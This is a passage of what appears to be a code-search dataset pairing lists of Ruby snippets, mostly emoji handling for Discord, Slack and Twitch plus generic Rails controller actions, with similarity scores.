"def draw_emoji(x, y, xx, width, char, mh, test)\n @emojis = 0 unless @emojis\n bitmap = Cache.system('Emojiset')\n em_index = Emoji.get(char)\n rect = Rect.new(em_index % 16 * 24, em_index / 16 * 24, 24, 24)\n if xx > width - 24\n xx = 0\n y += 24\n raise TooMuchTextEception.new('Limite superato') if mh && y > mh\n end\n self.blt(x + xx, y, bitmap, rect) unless test\n xx += 24\n @emojis += 1\n {:x => xx, :y => y}\n end",
"def get_twitch_emoticons\n # Get Emoticons for Channel\n headers = {\n 'Accept' => 'application/vnd.twitchtv.v3+json',\n 'Client-ID' => 'efq3aoz1vvrtac1wz0ojszl54p6uuw'\n }\n http_response = self.class.get(\n \"https://api.twitch.tv/kraken/chat/#{@twitch_channel}/emoticons\",\n headers: headers\n )\n response = JSON.parse(http_response.body, symbolize_names: true)\n emoticons = response[:emoticons]\n emoticons = emoticons.select do |e|\n e[:state] == 'active' && e[:subscriber_only]\n end\n emoticons\n end",
"def edit_emoji(auth, server_id, emoji_id, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :patch,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n { name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def emojis\n @emojis ||= EmojiData.find_by_str(self.text).uniq { |e| e.unified }\n end",
"def find_emoji(key, server = nil)\n server = server || $bot.servers[SERVER_ID] || $bot.servers.first\n return if server.nil?\n if key.is_a?(Integer)\n server.emojis[key]\n elsif key.is_a?(String)\n server.emojis.find{ |id, e| e.name.downcase.include?(key.downcase) }[1]\n else\n nil\n end\nrescue\n nil\nend",
"def show\n @sprite = current_user.sprites.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sprite }\n end\n end",
"def add_emoji(auth, server_id, image, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis\",\n { image: image, name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def admin_emoji_list(options = {})\n if block_given?\n Pagination::Cursor.new(self, :admin_emoji_list, options).each do |page|\n yield page\n end\n else\n post('admin.emoji.list', options)\n end\n end",
"def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end",
"def to_emojipacks_yaml(raw_emoticon_response)\n result_hash = {\n 'title' => @twitch_channel,\n 'emojis' => []\n }\n raw_emoticon_response.each do |e|\n result_hash['emojis'] << { 'name' => e[:regex].downcase, 'src' => e[:url] }\n end\n result_hash.to_yaml\n end",
"def emoji; end",
"def notify_adding_emoji(emoji_name)\n @websocket_connection.send(\n {\n type: 'message',\n text: \"New Emojis Published! :#{emoji_name}:\",\n channel: @bot_notification_channel\n }.to_json\n )\n end",
"def slack_emoji\n @slack_emoji ||= EmojiDiffer::SlackApi.new(@slack_token).emoji\n end",
"def icon\n icon_data = User.where(:id => params[:id]).first.try(:icons)\n \n respond_to do |format|\n format.html { redirect_to root_path } # search.html.erb\n format.json { render json: icon_data }\n end\n end",
"def emoji\n if failure?\n FAILURE_EMOJI\n else\n ERROR_EMOJI\n end\n end",
"def emoji_image_from_unicode(unicode)\n emoji = Emoji.find_by_unicode(unicode)\n\n if emoji && !EMOJI_IGNORE.include?(emoji.name)\n name = \":#{emoji.name}:\"\n path = File.join(@options[:emoji_asset_path], emoji.image_filename)\n\n %(<img alt=\"#{name}\" title=\"#{name}\" src=\"#{path}\" class=\"emoji\" width=\"20\" height=\"20\" />)\n else\n unicode\n end\n end",
"def show\n @user = User.find_by_username(params[:id])\n @no_replies = true\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def emojis\n return 0 unless @emojis\n @emojis\n end",
"def find_emoji(name)\n LOGGER.out(\"Resolving emoji #{name}\")\n emoji.find { |element| element.name == name }\n end",
"def ImageStore(smiley)\n Net::HTTP.start('www.emoji-cheat-sheet.com') do |http|\n res = http.get('/graphics/emojis/'+smiley+'.png')\n File.open('public/smileys/'+smiley+'.png', 'wb') { |file| file.write(res.body) }\n end\n end",
"def show \n @user = User.find_by_id(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @user.to_json(:methods => [:avatar_url]) }\n end\n end",
"def show \n @user = User.find_by_id(params[:id])\n respond_to do |format|\n format.html\n format.json { render json: @user.to_json(:methods => [:avatar_url]) }\n end\n end",
"def update_guild_emoji(data)\n server_id = data['guild_id'].to_i\n server = @servers[server_id]\n server.update_emoji_data(data)\n end",
"def show\n @weixin_user = current_user.weixin_users.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @weixin_user }\n end\n end",
"def delete_emoji(auth, server_id, emoji_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def get_data; @data = Emoji.elements; end",
"def index\n @user_icons = @user_iconable.users_icons\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def show\n @user = User.find(params[:id])\n @microposts = @user.microposts.not_messages.paginate(:page=>params[:page], :per_page => 5)\n @title = \"Show '#{@user.name}'\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def display_emoji_break\n emoji = $EMOJIS.sample\n print \"#{emoji} \" * 15\n print \" #{path_clip} \"\n puts \"#{emoji} \" * 15\nend",
"def on_mention(json)\n event = json[:event]\n authed_users = json[:authed_users]\n text = event[:text].strip\n text = text.gsub(Regexp.union(*authed_users.map {|s| \"<@#{ s }>\" }), \"\").strip\n\n json = command(text) do |progress|\n case progress\n when :start\n post(\"reactions.add\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n when :end\n post(\"reactions.remove\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n end\n end\n\n if json\n json[:thread_ts] = event[:thread_ts] || event[:ts] if json[:thread_ts]\n post(\"chat.postMessage\", channel: event[:channel], **json)\n end\n end",
"def render(text, emojis)\n emoji_index_cycle = (0...emojis.size).cycle\n\n char_maps = text.split('')\n .map { |char|\n downcase_char_map(char)\n # char_map(char)\n }.compact # get the map for each letter\n .map { |cm| cm.join(\"\\n\").gsub(/[^ \\n]/, emoji_index_cycle.next.to_s).split(\"\\n\") } # 'o' -> (0..N)\n\n asciiart = concat_letters_with_kerning(char_maps).join(\"\\n\")\n # puts asciiart\n\n emojis.each_with_index do |em, i|\n asciiart.gsub!(i.to_s, \":#{emojis[i]}:\")\n end\n\n asciiart.gsub(' ', ':transparent:')\nend",
"def SmileyExist(smiley)\n uri = URI('http://www.emoji-cheat-sheet.com/graphics/emojis/'+smiley+'.png')\n res = Net::HTTP.get_response(uri)\n\n if res.code == '200'\n return true\n else\n return false\n end\n end",
"def show\n @user_ext = UserExt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_ext }\n end\n end",
"def render_emoticons(cache)\n string = cache.get('emoticons')\n hash = JSON.parse(string)\n emoticons = hash['items']\n end",
"def show\n @euclid_user_message = EuclidUserMessage.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @euclid_user_message }\n end\n end",
"def e(content, params = {})\n clazz = params.fetch(:class, 'emoji')\n content.gsub(Unicode::Emoji::REGEX, '<span class=\"' + clazz + '\">\\0</span>')\nend",
"def user_icon_large(user)\n icon = user_icon_image_tag(icon_name(user), size: Settings.icon_size.large)\n icon << raw(\"<font size='#{Settings.font_size_addition.large}'> #{nickname(user)}</font>\")\n raw icon\n end",
"def show\n @title = \"\"\n\n puts '====================== show'\n\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> { \n :user=>@user.as_json(:only => [:id, :name, :invitation_token, :notify, :buddy, :gender, :displayname], :methods => [:photo_url],\n :include => { \n :rounds => { }\n }\n ) \n } }\n end\n end",
"def cache_emoji\n @cache_emoji ||= cache.load\n end",
"def index\n if current_user\n @sprites = current_user.sprites\n end\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n if params[:user_id]\n @characters = User.find(params[:user_id]).characters\n else\n @characters = Character.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @characters }\n end\n end",
"def emoji_chars\n @emoji_chars ||= self.emojis.map { |e| e.char }\n end",
"def emoji_image_filter(text)\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<span class='emoji'>#{emoji_unicode_replacement(name)}</span>\"\n end\n end",
"def index\n @user_exts = UserExt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_exts }\n end\n end",
"def index\n @characters = @user.characters.find :all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @characters }\n end\n end",
"def avatar\n respond_with(@user)\n end",
"def valid_emoji?(emoji)\n Emoji.find_by_name emoji\n end",
"def user\n @user = User.find(params[:id])\n @episodes = @user.episodes.order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @episodes, callback: params[:callback] }\n format.xml { render xml: @episodes }\n format.rss { render 'feed' }\n end\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def new_query\n hipchat = HipChat.new.get_emoticons\n\n # Proceed only if GET request is successful\n if hipchat.response.code != 200.to_s\n raise \"Unable to successfully query the HipChat API. Error code: #{hipchat.response.code}\"\n end\n\n # Return body of GET request from HipChat\n emoticons = hipchat.response.body\n end",
"def get_avatar\n KAG.get \"/player/#@nick/avatar\"\n end",
"def process_anim_emoji(c, pos)\n text_width = 24\n letter = Sprite_TextAnim.new(self.viewport)\n icon_bitmap = Cache.system(\"Emoji\")\n bitmap = Bitmap.new(24, pos[:height])\n rect = Rect.new(c % 16 * 24, c / 16 * 24, 24, 24)\n bitmap.blt(0, 0, icon_bitmap, rect)\n letter.bitmap = bitmap\n letter.x = pos[:x] + self.standard_padding\n letter.y += WiggleText::DROP_HEIGHT if WiggleText::DROP_IN\n letter.y = self.y + standard_padding + pos[:y]\n letter.z = self.z + 10\n letter.anim_offset = @animchars.size\n letter.anim_type = @anim_type\n tuckie_extra(letter)\n letter.update\n #bitmap.draw_text(0, 0, text_width * 2, pos[:height], c)\n @animchars.push(letter)\n pos[:x] += text_width\n end",
"def user_icon(size, user)\n iconname = icon_name(user)\n icon = user_icon_image_tag(iconname, size: size)\n icon << \" \"\n icon << nickname(user)\n return icon unless user\n link = link_to user_path(user.id) do\n icon\n end\n link\n end",
"def nick_history\n _uuid = uuid.gsub(/-/, '')\n url = \"https://api.mojang.com/user/profiles/#{_uuid}/names\"\n response = Net::HTTP.get_response(URI.parse(url))\n json = JSON.parse(response.body)\n end",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def json_response_for_slack(reply)\n response = { text: reply, link_names: 1 }\n response[:username] = ENV[\"BOT_USERNAME\"] unless ENV[\"BOT_USERNAME\"].nil?\n response[:icon_emoji] = ENV[\"BOT_ICON\"] unless ENV[\"BOT_ICON\"].nil?\n response.to_json\nend",
"def embed_url\n params = {\n showChat: false,\n userName: Rack::Utils.escape(h.current_user.username)\n }\n\n \"#{url}?#{params.to_query}\"\n end",
"def username\n respond_to do |format|\n format.json { render :ok, json: @user.username.to_json }\n end\n end",
"def index\n @user_mentions = UserMention.all\n end",
"def scanEmojiFiles()\r\n Dir.entries(@emojiDir).each { |fileName|\r\n if fileName[0..6] == \"emoji_u\"\r\n ext=fileName[-4..-1]\r\n imageBaseName=fileName[7..-5]\r\n if ext != \".png\" and ext != \".svg\"\r\n raise \"Oops: Emoji file \\\"\" + fileName + \"\\\" is neither PNG nor SVG.\"\r\n end\r\n if @emojiExt == nil\r\n @emojiExt = ext\r\n end\r\n if ext != @emojiExt\r\n raise \"Oops: Both PNG and SVG emoji found.\"\r\n end\r\n @emojiFiles.add(imageBaseName)\r\n end\r\n }\r\n end",
"def show\n @image = current_user.sprites.find(params[:sprite_id]).images.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"def emoji_image_filter(text)\n return text unless text.include?(':')\n\n text.gsub(emoji_pattern) do |match|\n name = $1\n \"<img class='emoji' title=':#{name}:' alt=':#{name}:' src='#{emoji_url(name)}' height='20' width='20' align='absmiddle' />\"\n end\n end",
"def show\n @user = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n format.png\n end\n end",
"def emoji_src(config = {})\n if config.key?(\"emoji\") && config[\"emoji\"].key?(\"src\")\n config[\"emoji\"][\"src\"]\n else\n default_asset_root\n end\n end",
"def im_for_user(username)\n user = users.find do |u|\n u['name'] == username\n end\n ims.find do |im|\n im['user'] == user['id']\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => {:user => @user.as_json(:json => 'wall') }}\n end\n end",
"def show\n @character = current_user.characters.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @character }\n end\n end",
"def get_large_avatar\n KAG.get \"/player/#@nick/avatar/l\"\n end",
"def get_small_avatar\n KAG.get \"/player/#@nick/avatar/s\"\n end",
"def show\n @user = User.find(params[:id])\n @texts = Text.where({user_id: current_user.id})\n respond_to do |format|\n format.html{}\n format.json {render json: @user}\n\n end\n end",
"def me\n render status: 200, json: current_user.db_user.as_json(only: [:id, :email], include: { discord_identity: { }, roles: { include: { nested_roles: { include: { role_nested: { } } } } } }, methods: [:main_character])\n end",
"def index\n @eicons = Eicon.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eicons }\n end\n end",
"def emotes_size(key)\n self.emotes.select { |e| e.emoji == key }.size\n end",
"def show\n @xinyongtongji = Xinyongtongji.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @xinyongtongji }\n end\n end",
"def include_emoji?(text)\n text && text[/:\\S+:/]\n end",
"def get_24h_moji_json_list(mojifile)\n jsl=[]\n File.open(mojifile, 'r:utf-8') do |file|\n file.each do |line|\n jsl.push(line)\n end\n end\n jsl\n end",
"def get_japanese_emoticon(emoji_file,emoticon)\n # code goes here\n \n emoji_hash = load_library(emoji_file)\n emoji_hash.each do |key, value|\n #binding.pry\n if value[:english] == emoticon\n return value[:japanese]\n end\n end\n return \"Sorry, that emoticon was not found\"\nend",
"def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @user.messages }\n end\n end",
"def show\n @nickname = Nickname.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nickname }\n end\n end",
"def update!(**args)\n @custom_emoji = args[:custom_emoji] if args.key?(:custom_emoji)\n end",
"def click_user_icon\n wait_for_css(input_elements[:entries])\n entries = get_entries\n entries.each do |entry|\n if entry[\"data-mention-id\"].eql?(@stream_post_id)\n return entry.all(input_elements[:notification_icon]).first.click\n end\n end\n return false\n end",
"def index\n @user_avatars = UserAvatar.all\n end",
"def emoji_image_filter(text)\n HTML::Pipeline::EmojiFilter.new(nil, asset_root: '/images').emoji_image_filter(text)\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def parse_discord_user(msg)\n user = msg[NAME_PATTERN, 2].downcase\n raise OutteError.new \"You need to provide a user.\" if user.nil?\n\n parts = user.split('#')\n users = User.search(parts[0], !parts[1].nil? ? parts[1] : nil)\n case users.size\n when 0\n raise OutteError.new \"No user named #{user} found in the server.\"\n when 1\n return users.first\n else\n list = users.map{ |u| u.username + '#' + u.tag }.join(\"\\n\")\n raise OutteError.new \"Multiple users named #{parts[0]} found, please include the numerical tag as well:\\n#{format_block(list)}\"\n end\nend",
"def index\n @riffblobs = current_user.riffblobs\n respond_to do |format|\n format.json { render json: @riffblobs.as_json }\n end\n end",
"def user_url(user)\n \"http://last.fm/user/\" + user\n end",
"def recent_user_name\n @user = User.find(params[:id])\n respond_to do |format|\n uname_message = {:status => \"ok\", :uname => @user.username}\n format.json {render :json => uname_message}\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def index\n @emails = @user.emails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @emails }\n end\n end",
"def show\n @eicon = Eicon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @eicon }\n end\n end",
"def user_content(user, options = {})\n options = options.clone\n username = user\n\n path = \"user/#{username}/%s.json\" % (options[:category] if options[:category])\n options.delete :category\n\n objects_from_response(:get, path, options)\n end",
"def show\n @user = current_user\n @message = current_user.extension.messages.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @message }\n end\n end",
"def show_user\n usernames = params.require(:usernames)\n\n identities = Hash[User.where(username: usernames).map { |u| [u.username, u.custom_fields[DiscourseEncrypt::PUBLIC_CUSTOM_FIELD]] }]\n\n render json: identities\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def get_medium_avatar\n KAG.get \"/player/#@nick/avatar/m\"\n end",
"def get_japanese_emoticon(file_path, emoticon)\n emoji_library = load_library(file_path)\n emoji_equivalent = emoji_library[\"get_emoticon\"][emoticon]\n return \"Sorry, that emoticon was not found\" if emoji_equivalent.nil?\n emoji_equivalent\nend",
"def index\n \t#@qr = RQRCode::QRCode.new(request.url, :size => 6)\n\n \t@title = \"Users List\"\n @navinner = \"1\"\n @users = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n userId = params[:userId]\n user = User.find_by(id: userId)\n username = user.username\n\n result = { username: username }\n\n respond_to do |format|\n format.json { render :json => result.to_json }\n end \n \n end"
] |
[
"0.7907821",
"0.5919946",
"0.58895844",
"0.575476",
"0.573245",
"0.5599263",
"0.5540453",
"0.55203485",
"0.5504964",
"0.54904556",
"0.54576653",
"0.5426684",
"0.5389433",
"0.53848594",
"0.5377163",
"0.53453755",
"0.5334984",
"0.5323004",
"0.5306681",
"0.5286635",
"0.52537555",
"0.52029186",
"0.5186776",
"0.5186776",
"0.5181482",
"0.5149194",
"0.5106377",
"0.50880224",
"0.50838405",
"0.5081492",
"0.5070254",
"0.5057139",
"0.50555253",
"0.5055252",
"0.5032456",
"0.50189006",
"0.5016234",
"0.5012864",
"0.5006596",
"0.5003547",
"0.5001841",
"0.49732384",
"0.49694166",
"0.49514127",
"0.49356973",
"0.49257463",
"0.4904729",
"0.49036622",
"0.4890842",
"0.48758632",
"0.48592305",
"0.4849644",
"0.48394397",
"0.4833254",
"0.4810246",
"0.47784895",
"0.4776222",
"0.4776222",
"0.4774598",
"0.4771857",
"0.47688502",
"0.47606823",
"0.47497267",
"0.4743924",
"0.47436884",
"0.4736173",
"0.4725272",
"0.47100663",
"0.4688374",
"0.46826097",
"0.46519196",
"0.465071",
"0.46472892",
"0.46359503",
"0.46309927",
"0.46205345",
"0.46164426",
"0.46158984",
"0.46127397",
"0.4605626",
"0.46001258",
"0.4575884",
"0.4572069",
"0.45680016",
"0.4556809",
"0.4552632",
"0.45455998",
"0.45386648",
"0.45334888",
"0.4531798",
"0.4530521",
"0.4530521",
"0.45284405",
"0.45273364",
"0.4526592",
"0.4513773",
"0.4513309",
"0.45131153",
"0.450483",
"0.45032594",
"0.44940552"
] |
0.0
|
-1
|
POST /users/:user_id/xemojis POST /users/:user_id/xemojis.json
|
def create
redirect_to :action => 'not_implemented', :status => 501
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @xemojis = XemojisForUserService.new({user: @user}).call\n end",
"def add_emoji(auth, server_id, image, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis,\n server_id,\n :post,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis\",\n { image: image, name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def notify_adding_emoji(emoji_name)\n @websocket_connection.send(\n {\n type: 'message',\n text: \"New Emojis Published! :#{emoji_name}:\",\n channel: @bot_notification_channel\n }.to_json\n )\n end",
"def draw_emoji(x, y, xx, width, char, mh, test)\n @emojis = 0 unless @emojis\n bitmap = Cache.system('Emojiset')\n em_index = Emoji.get(char)\n rect = Rect.new(em_index % 16 * 24, em_index / 16 * 24, 24, 24)\n if xx > width - 24\n xx = 0\n y += 24\n raise TooMuchTextEception.new('Limite superato') if mh && y > mh\n end\n self.blt(x + xx, y, bitmap, rect) unless test\n xx += 24\n @emojis += 1\n {:x => xx, :y => y}\n end",
"def edit_emoji(auth, server_id, emoji_id, name, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :patch,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n { name: name }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def on_mention(json)\n event = json[:event]\n authed_users = json[:authed_users]\n text = event[:text].strip\n text = text.gsub(Regexp.union(*authed_users.map {|s| \"<@#{ s }>\" }), \"\").strip\n\n json = command(text) do |progress|\n case progress\n when :start\n post(\"reactions.add\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n when :end\n post(\"reactions.remove\", channel: event[:channel], name: EMOJI, timestamp: event[:ts])\n end\n end\n\n if json\n json[:thread_ts] = event[:thread_ts] || event[:ts] if json[:thread_ts]\n post(\"chat.postMessage\", channel: event[:channel], **json)\n end\n end",
"def emoji; end",
"def scrape_emoji_page(url)\n body = @agent.get(clean_url(url)).body\n { unicode: body.scan(/U\\+[\\w\\d]{4,6}/),\n shortcodes: body.scan(/\\:[\\w\\_\\-\\d]+:/) }\n end",
"def replace_emoji(text)\n emojis = Mumuki::Emojis::EMOJIS\n text.gsub(/:([^\\s:])+:/) do |short_name|\n short_code = short_name.gsub(':', '')\n emoji = emojis[short_code]\n if emoji\n %{<i class=\"mu-emoji #{emoji['ca']} _#{emoji['co']}\" title=\"#{short_name}\"></i>}\n else\n short_name\n end\n end\n end",
"def emoji\n if failure?\n FAILURE_EMOJI\n else\n ERROR_EMOJI\n end\n end",
"def admin_emoji_list(options = {})\n if block_given?\n Pagination::Cursor.new(self, :admin_emoji_list, options).each do |page|\n yield page\n end\n else\n post('admin.emoji.list', options)\n end\n end",
"def uploadEmoji\n log_file = open(LogFile, 'wb')\n agent = Mechanize.new\n agent.user_agent = 'Windows Mozilla'\n agent.get(@@url) do |page|\n response = page.form_with(:action => '/') do |form|\n formdata = {\n :email => @@email, # login mail address\n :password => @@password # login @@password\n }\n form.field_with(:name => 'email').value = formdata[:email]\n form.field_with(:name => 'password').value = formdata[:password]\n end.submit\n\n # if login fails, write error to log file and exit\n if response.code != '200' || response.body.include?(LoginFail)\n log_file.write(\"Login failed! Please check Slack url, email and password.\\n\")\n return -1\n end\n log_file.write(\"Login success!\\n\")\n\n # upload emoji\n Find.find(\"./image/\") do |image|\n next unless FileTest.file?(image) && (image =~ /\\.jpg\\Z/ || image =~ /\\.jpeg\\Z/ ||\n image =~ /\\.png\\Z/ || image =~ /\\.gif\\Z/)\n resizeImage(image)\n upName = File.basename(image,File.extname(image))\n agent.get(@@url + 'customize/emoji') do |emoji|\n if File.exist?(image)\n eresponse = emoji.form_with(:action => '/customize/emoji') do |eform|\n eform.field_with(:name => 'name').value = upName\n eform.radiobuttons_with(:name => 'mode')[0].check\n eform.file_upload_with(:name => 'img').file_name = ResizeName\n end.submit\n # write result to log\n # check responce code and body to decide success or failer\n if eresponse.code != '200' # check response code\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Respose code is not 200. Failed to add emoji.\\n\")\n elsif eresponse.body.include?(AddSuccess) # add success log\n log_file.write(\"S Name:[\" + upName + \"] Result: \")\n log_file.write(\"Successfully added.\\n\")\n elsif eresponse.body.include?(DuplicateEmoji) # add error log - duplicate error\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Same emoji name already exist.\\n\")\n else # add error log - unknown error\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"Unknown error occured.\\n\")\n end\n else # add error log - file not found\n log_file.write(\"F Name:[\" + upName + \"] Result: \")\n log_file.write(\"File not exist.\\n\")\n end\n end\n end\n end\n end",
"def to_emojipacks_yaml(raw_emoticon_response)\n result_hash = {\n 'title' => @twitch_channel,\n 'emojis' => []\n }\n raw_emoticon_response.each do |e|\n result_hash['emojis'] << { 'name' => e[:regex].downcase, 'src' => e[:url] }\n end\n result_hash.to_yaml\n end",
"def process_anim_emoji(c, pos)\n text_width = 24\n letter = Sprite_TextAnim.new(self.viewport)\n icon_bitmap = Cache.system(\"Emoji\")\n bitmap = Bitmap.new(24, pos[:height])\n rect = Rect.new(c % 16 * 24, c / 16 * 24, 24, 24)\n bitmap.blt(0, 0, icon_bitmap, rect)\n letter.bitmap = bitmap\n letter.x = pos[:x] + self.standard_padding\n letter.y += WiggleText::DROP_HEIGHT if WiggleText::DROP_IN\n letter.y = self.y + standard_padding + pos[:y]\n letter.z = self.z + 10\n letter.anim_offset = @animchars.size\n letter.anim_type = @anim_type\n tuckie_extra(letter)\n letter.update\n #bitmap.draw_text(0, 0, text_width * 2, pos[:height], c)\n @animchars.push(letter)\n pos[:x] += text_width\n end",
"def emojis\n @emojis ||= EmojiData.find_by_str(self.text).uniq { |e| e.unified }\n end",
"def render(text, emojis)\n emoji_index_cycle = (0...emojis.size).cycle\n\n char_maps = text.split('')\n .map { |char|\n downcase_char_map(char)\n # char_map(char)\n }.compact # get the map for each letter\n .map { |cm| cm.join(\"\\n\").gsub(/[^ \\n]/, emoji_index_cycle.next.to_s).split(\"\\n\") } # 'o' -> (0..N)\n\n asciiart = concat_letters_with_kerning(char_maps).join(\"\\n\")\n # puts asciiart\n\n emojis.each_with_index do |em, i|\n asciiart.gsub!(i.to_s, \":#{emojis[i]}:\")\n end\n\n asciiart.gsub(' ', ':transparent:')\nend",
"def valid_emoji?(emoji)\n Emoji.find_by_name emoji\n end",
"def admin_emoji_remove(options = {})\n raise ArgumentError, 'Required arguments :name missing' if options[:name].nil?\n post('admin.emoji.remove', options)\n end",
"def slack_emoji\n @slack_emoji ||= EmojiDiffer::SlackApi.new(@slack_token).emoji\n end",
"def e(content, params = {})\n clazz = params.fetch(:class, 'emoji')\n content.gsub(Unicode::Emoji::REGEX, '<span class=\"' + clazz + '\">\\0</span>')\nend",
"def ImageStore(smiley)\n Net::HTTP.start('www.emoji-cheat-sheet.com') do |http|\n res = http.get('/graphics/emojis/'+smiley+'.png')\n File.open('public/smileys/'+smiley+'.png', 'wb') { |file| file.write(res.body) }\n end\n end",
"def update_guild_emoji(data)\n server_id = data['guild_id'].to_i\n server = @servers[server_id]\n server.update_emoji_data(data)\n end",
"def postprocess(text)\n inline_emoji(text)\n end",
"def get_data; @data = Emoji.elements; end",
"def create\n @user_mention = UserMention.new(user_mention_params)\n\n respond_to do |format|\n if @user_mention.save\n format.html { redirect_to @user_mention, notice: 'User mention was successfully created.' }\n format.json { render :show, status: :created, location: @user_mention }\n else\n format.html { render :new }\n format.json { render json: @user_mention.errors, status: :unprocessable_entity }\n end\n end\n end",
"def emoji_chars\n @emoji_chars ||= self.emojis.map { |e| e.char }\n end",
"def delete_emoji(auth, server_id, emoji_id, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_emojis_eid,\n server_id,\n :delete,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/emojis/#{emoji_id}\",\n Authorization: auth,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def emoji_image_from_unicode(unicode)\n emoji = Emoji.find_by_unicode(unicode)\n\n if emoji && !EMOJI_IGNORE.include?(emoji.name)\n name = \":#{emoji.name}:\"\n path = File.join(@options[:emoji_asset_path], emoji.image_filename)\n\n %(<img alt=\"#{name}\" title=\"#{name}\" src=\"#{path}\" class=\"emoji\" width=\"20\" height=\"20\" />)\n else\n unicode\n end\n end",
"def post_haiku(line_1,line_2,line_3)\n url = ENV[\"SLACK_URL\"]\n payload = {username: \"haiku-bot\", icon_url: \"christmas-haiku.jpg\", text: line_1+\"\\n\"+line_2+\"\\n\"+line_3, channel: \"#random\"}\n RestClient.post(url, payload.to_json, accept: :json)\n end",
